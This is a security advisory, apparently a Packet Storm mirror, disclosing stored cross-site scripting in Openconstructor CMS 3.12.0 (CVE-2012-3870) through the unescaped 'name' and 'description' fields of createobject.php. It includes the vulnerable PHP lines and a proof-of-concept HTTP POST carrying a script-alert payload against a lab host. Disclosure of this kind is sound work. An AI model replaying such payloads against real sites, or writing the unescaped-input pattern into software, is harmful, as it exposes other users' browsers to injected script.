Lucene search

K

Openconstructor CMS 3.12.0 Cross Site Scripting

🗓️ 04 Aug 2012 00:00:00Reported by Lorenzo CantoniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Openconstructor CMS 3.12.0 stored XSS vulnerabilities in 'name' and 'description' parameter

Show more
Related
Code
`###Title###:   
Openconstructor CMS 3.12.0 'createobject.php', 'name' and 'description' parameters Stored Cross-site Scrpting vulnerabilities  
  
  
###Affected Software###:  
http://www.openconstructor.org/  
http://code.google.com/p/openconstructor/downloads/list  
http://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234  
  
  
###Description###:   
Openconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System written in PHP. Stored XSS vulnerabilities exist on the 'name' and 'description'   
parameters, which are used as properties when creating a new object. Verson 3.12.0 is vulnerable, previous version may be affected, but they have not been tested.  
  
  
###CVE###  
CVE-2012-3870  
  
  
###Impact###:  
Authenticated attackers can plant malicious javascript in the web application, with the aim to execute it on the other user's browser.  
  
CVSS Base Score: 4.9 (AV:N/AC:M/Au:S/C:P/I:P/A:N)  
  
  
###Credits###:   
Lorenzo Cantoni (lorenzo[dot]cantoni86[at]gmail[dot]com)  
  
  
###Details###:  
When creating a new object in the "object" section, the application asks to set a name and a description for that object.  
The application does not escape the html tags correctly for these parameters. The vulnerability has been tested on an Internet Explorer 7 browser (because the application is designed  
to work with IE). Newer version of the browser with the anti-xss filter enabled, may help to protect users from such attacks.  
  
'createobject.php' contains multiple lines of code (for the various kind of objects) with code similar to the following one:  
  
$obj->name = $_POST['name'];  
$obj->description = $_POST['description'];  
$result = ObjManager::create($obj);  
  
$obj with name and description attributes is passed to ObjManager::create() function without HTML escaping.  
  
When the user access the "Object" section and list the objects with a malicious name or description, will trigger the exploit. Additionally, if the object can be published,  
the exploit can be triggered also in the "Sitemap" section.  
  
  
###Proof of Concept###:  
Here is a trace of the required POST to plant the javascript  
  
POST /openconstructor/objects/createobject.php HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*  
Referer: http://10.0.2.15/openconstructor/objects/createobject.php?ds_type=htmltext&obj_type=htmltextbody  
Accept-Language: it  
Content-Type: application/x-www-form-urlencoded  
UA-CPU: x86  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)  
Proxy-Connection: Keep-Alive  
Host: 10.0.2.15  
Pragma: no-cache  
Cookie: curnode=htmltextbody; PHPSESSID=s8fnmtbfv0h1ofdeotu4h75p33; wcsUserLogin=root; wcsUserName=Administrator  
Content-Length: 141  
  
ds_type=htmltext&obj_type=htmltextbody&name=xssed+%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&description=asd&ds_id=3&createobject=Create  
  
  
  
###Disclosure###  
[08/07/2012] Lead Developer contacted.  
[22/07/2012] No response. Sent another mail.  
[04/08/2012] Still no response. Public disclosure.  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo